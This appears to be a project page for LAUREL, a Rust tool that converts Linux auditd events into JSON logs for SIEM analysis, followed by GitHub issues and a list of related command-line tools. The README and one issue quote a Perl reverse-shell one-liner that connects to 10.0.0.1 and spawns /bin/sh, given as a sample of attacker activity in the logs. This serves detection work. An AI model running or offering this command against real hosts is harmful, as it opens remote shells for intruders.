Transform Linux Audit logs for SIEM usage

Related tags

linux rust auditd audispd
Overview

Linux Audit – Usable, Robust, Easy Logging

TLDR: Instead of audit events that look like this…

type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…

…turn them into JSON logs where the mess that your pen testers/red teamers/attackers are trying to make becomes apparent at first glance:

{ … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …}

At the source.

Description

Logs produced by the Linux Audit subsystem and auditd(8) contain information that can be very useful in a SIEM context (if a useful rule set has been configured). However, the format is not well-suited for at-scale analysis: Events are usually split across different lines that have to be merged using a message identifier. Files and program executions are logged via PATH and EXECVE elements, but a limited character set for strings causes many of those entries to be hex-encoded. For a more detailed discussion, see Practical auditd(8) problems.

LAUREL solves these problems by consuming audit events, parsing and transforming them into more data and writing them out as a JSON-based log format, while keeping all information intact that was part of the original audit log. It does not replace auditd(8) as the consumer of audit messages from the kernel. Instead, it uses the audisp ("audit dispatch") interface to receive messages via auditd(8). Therefore, it can peacefully coexist with other consumers of audit events (e.g. some EDR products).

Refer to JSON-based log format for a description of the log format.

We developed this tool because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to Performance for details.

Build from source…

LAUREL is written in Rust. To build it, a reasonably recent Rust compiler (we currently use 1.48), cargo, and the libacl library and its header files (Debian: libacl1-dev, RedHat: libacl-devel) are required.

$ cargo build --release
$ sudo install -m755 target/release/laurel /usr/local/sbin/laurel

…or use the provided binary

Static Linux/x86_64 binaries are built for tagged releases.

Configure, use

  • Create a dedicated user, e.g.:
    $ sudo useradd --system --home-dir /var/log/laurel --create-home _laurel
  • Configure LAUREL: Copy the provided annotated example to /etc/laurel/config.toml and customize it.
  • Register LAUREL as an audisp plugin: Copy the provided example to /etc/audisp/plugins.d/laurel.conf or /etc/audit/plugins.d/laurel.conf (depending on your auditd version).
  • Tell auditd(8) to re-evaluate its configuration
    $ sudo pkill -HUP auditd

License

GNU General Public License, version 3

Authors

Issues
  • how to use from kafka msg?

    how to use from kafka msg?

    consume kafka msg, not audit.log file.

    opened by w2n1ck 6
  • Provide binaries

    Provide binaries

    Not everyone is able to build stuff from source, so we'd like to provide binaries, preferably statically linked ones that are usable across distributions. This means avoiding GNU libc – perhaps building in an Alpine Linux environment will do the trick.

    opened by hillu 1
  • Update Github actions

    Update Github actions

    • Build static binary for tagged releases
    • Perform regular build+test also on pull request
    opened by hillu 0
  • Feature/better errors

    Feature/better errors

    null

    opened by hillu 0
  • Recognize

    Recognize "avc:", "netlabel:" prefixes

    Those have been observed in AVC, MAC_UNLBL_ALLOW messages, respectively. There may be more.

    opened by hillu 0
  • command-line options: validate

    command-line options: validate

    as best practice, laurel executable should have a test/dry-run/foreground option to test configuration (syntax and working execution)

    opened by juju4 0
  • Missing msgtype and events?

    Missing msgtype and events?

    with laurel 0.1.1 on Ubuntu 18.04 and base laurel configuration

    # jq -r 'keys | nth(1)' /var/log/laurel/audit.log | sort | uniq -c | sort -nr | head -20
       2268 SECCOMP
         66 ID
         33 USER_START
         33 USER_END
         33 USER_ACCT
         33 LOGIN
          3 SERVICE_STOP
          3 SERVICE_START
    

    while

    # cut -d ' ' -f 7 /var/log/audispd/audispd.log | sort | uniq -c | sort -nr | head -20
      56855 type=SYSCALL
      56855 type=PROCTITLE
      43944 type=PATH
      30833 type=OBJ_PID
      13681 type=EXECVE
       7771 type=SECCOMP
        156 type=USER_END
        156 type=CRED_DISP
        155 type=USER_START
        149 type=USER_ACCT
        149 type=LOGIN
        149 type=CRED_ACQ
         16 type=SERVICE_STOP
         16 type=SERVICE_START
          6 type=USER_CMD
          6 type=CRED_REFR
          3 type=NETFILTER_CFG
    # grep 1631967301.772 /var/log/audit/audit.log
    type=SYSCALL msg=audit(1631967301.772:1842167): arch=c000003e syscall=59 success=yes exit=0 a0=7f8c1c4c9260 a1=7f8c1c6db4e0 a2=7ffe80304318 a3=9 items=3 ppid=18688 pid=18689 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=3993 comm="check-pid" exe="/usr/bin/env" key="rootcmd"
    type=EXECVE msg=audit(1631967301.772:1842167): argc=4 a0="/usr/bin/env" a1="bash" a2="/opt/zeek/share/zeekctl/scripts/helpers/check-pid" a3="21898"
    type=PATH msg=audit(1631967301.772:1842167): item=0 name="/opt/zeek/share/zeekctl/scripts/helpers/check-pid" inode=4655459 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
    type=PATH msg=audit(1631967301.772:1842167): item=1 name="/usr/bin/env" inode=4152 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
    type=PATH msg=audit(1631967301.772:1842167): item=2 name="/lib64/ld-linux-x86-64.so.2" inode=18925 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0
    type=PROCTITLE msg=audit(1631967301.772:1842167): proctitle=2F7573722F62696E2F656E760062617368002F6F70742F7A65656B2F73686172652F7A65656B63746C2F736372697074732F68656C706572732F636865636B2D706964003231383938
    # grep 1631967301.772 /var/log/laurel/audit.log
    #
    
    

    SYSCALL is the ones where I would expect process activity Even if merging some of the different msgtype, same data should be found

    opened by juju4 4
  • Provide SELinux policy

    Provide SELinux policy

    LAUREL does not currently work on RHEL and CentOS systems that are configured with SELinux policy in enforcing mode. We'll need to provide a policy that can be installed on such systems.

    opened by hillu 0
  • Feature: add optional field named `CommandLine` concat of ARGV

    Feature: add optional field named `CommandLine` concat of ARGV

    Please add a field (optional) that provides a concatenated full command line

    "ARGV": ["perl", "-e", "use Socket;$i=\"10.0.0.1\";$p=1234; ...
    

    To

    "CommandLine": "perl -e use Socket;$i=\"10.0.0.1\";$p=1234; ...
    

    e.g.

    directory = "/var/log/laurel"
    user = "_laurel"
    concat_command_line = true
    
    [auditlog]
    file = "audit.log"
    size = 1000000
    generations = 10
    read-users = [ "splunk" ]
    
    enhancement 
    opened by Neo23x0 4
  • Would moving auditd's enrichment features to LAUREL make sense?

    Would moving auditd's enrichment features to LAUREL make sense?

    Measurements on busy systems with log_format=RAW vs. ´log_format=ENRICHED` suggest that auditd(8) spends about half its CPU time on interpreting and adding simple numeric values (such as syscall, uid, gid) to the audit log. Perhaps we can do better.

    opened by hillu 0
Releases(v0.1.1)
:stars: Manage your shell commands.

Pueue Pueue is a command-line task management tool for sequential and parallel execution of long-running tasks. Simply put, it's a tool that processes

Arne Beer 2.3k Sep 12, 2021
Terminal bandwidth utilization tool

bandwhich This is a CLI utility for displaying current network utilization by process, connection and remote IP/hostname How does it work? bandwhich s

Aram Drevekenin 6.6k Sep 17, 2021
A simple, fast and user-friendly alternative to 'find'

fd [中文] [한국어] fd is a program to find entries in your filesytem. It is a simple, fast and user-friendly alternative to find. While it does not aim to

David Peter 18.9k Sep 16, 2021
A system handler to get information and interact with processes written in Rust

A system handler to get information and interact with processes written in Rust

Guillaume Gomez 664 Sep 18, 2021
Utility that takes logs from anywhere and sends them to Telegram.

logram Utility that takes logs from anywhere and sends them to Telegram. Supports log collection from files, journald and docker containers. More abou

Max Eliseev 62 Sep 5, 2021
A cat(1) clone with wings.

A cat(1) clone with syntax highlighting and Git integration. Key Features • How To Use • Installation • Customization • Project goals, alternatives [中

David Peter 29.4k Sep 15, 2021
This project now lives on in a rewrite at https://gitlab.redox-os.org/redox-os/parallel

MIT/Rust Parallel: A Command-line CPU Load Balancer Written in Rust This is an attempt at recreating the functionality of GNU Parallel, a work-stealer

Michael Murphy 1.2k Sep 6, 2021
A modern replacement for ps written in Rust

procs procs is a replacement for ps written in Rust. Documentation quick links Features Platform Installation Usage Configuration Features Output by t

null 2.2k Sep 19, 2021
A modern replacement for ‘ls’.

exa exa is a modern replacement for ls. README Sections: Options — Installation — Development exa is a modern replacement for the venerable file-listi

Benjamin Sago 14.6k Sep 16, 2021
:construction: EXPERIMENTAL :construction: Secure hidden service webserver

narnia narnia is a fast static webserver specifically designed for Tor hidden services. It's also able to spawn a Tor thread and expose itself as a hi

null 17 Jul 16, 2021
Your project’s nix-env [[email protected]]

lorri https://github.com/nix-community/lorri lorri is a nix-shell replacement for project development. lorri is based around fast direnv integration f

Nix community projects 128 Sep 11, 2021
A faster way to navigate your filesystem

zoxide A faster way to navigate your filesystem Table of contents Introduction Examples Getting started Step 1: Install zoxide Step 2: Install fzf (op

Ajeet D'Souza 3.7k Sep 13, 2021
A more intuitive version of du in rust

Dust du + rust = dust. Like du but more intuitive. Why Because I want an easy way to see where my disk is being used. Demo Install Cargo cargo install

andy.boot 3k Sep 17, 2021
Terminal disk space navigator 🔭

diskonaut How does it work? Given a path on your hard-drive (which could also be the root path, eg. /). diskonaut scans it and indexes its metadata to

Aram Drevekenin 988 Sep 20, 2021
Executes commands in response to file modifications

watchexec Software development often involves running the same commands over and over. Boring! watchexec is a simple, standalone tool that watches a p

null 2.5k Sep 18, 2021
📊 Fetch & monitor your server's resource usage through Lua

?? gmsv_serverstat Simple serverside binary module which can expose information about system resource usage to Lua. Installation Download the relevant

William 14 Sep 8, 2021
Count your code, quickly.

Tokei (時計) Tokei is a program that displays statistics about your code. Tokei will show the number of files, total lines within those files and code,

null 5.4k Sep 18, 2021
Process killer daemon for out-of-memory scenarios

bustd: Available memory or bust! bustd is a lightweight process killer daemon for out-of-memory scenarios for Linux! Features Small memory usage! bust

Vinícius Miguel 110 Sep 8, 2021
Blazing 💥 fast terminal-ui for git written in rust 🦀

Blazing fast terminal client for git written in Rust Features Fast and intuitive keyboard only control Context based help (no need to memorize tons of

Stephan Dilly 5.7k Sep 14, 2021